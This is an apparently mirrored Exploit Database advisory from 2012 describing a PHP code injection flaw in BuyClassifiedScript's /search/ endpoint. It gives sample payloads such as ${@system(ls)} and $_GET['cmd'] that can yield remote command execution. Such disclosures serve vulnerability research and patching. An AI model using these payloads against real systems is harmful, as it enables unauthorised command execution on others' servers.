BuyClassifiedScript – PHP Code Injection

• Exploit Database
• 32 阅读

• 作者： d3b4g
  日期： 2012-11-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/22929/

• # Exploit Title: buyclassifiedscript PHP code injection vulnerability
  # Date: 25.11.201
  # Exploit Author: d3b4g
  # Vendor Homepage: http://buyclassifiedscript.com/
  # Tested on:Windows 7
  # Blog: d3b4g.me
  
  
   
  
  ----------------------------------------------------------------------------------
  
   This vulnerabilityallows an attacker to inject custom code
   into the server side scripting engine.It's possible to get a remote cmd by taking
   advantage of this vulnerability.
   
   
   Vulnerable function: 
  
   /search/ 
  
  
   () php code excution :
  
  
   http://localhost/path/search {Inject malicious code}
  
  
   () example of code you can inject:
  
  
   //${@system(ls)}
  
  ${@print(hello)}
  
  $_GET['cmd']
  
  
   //
  
  
  
  -end-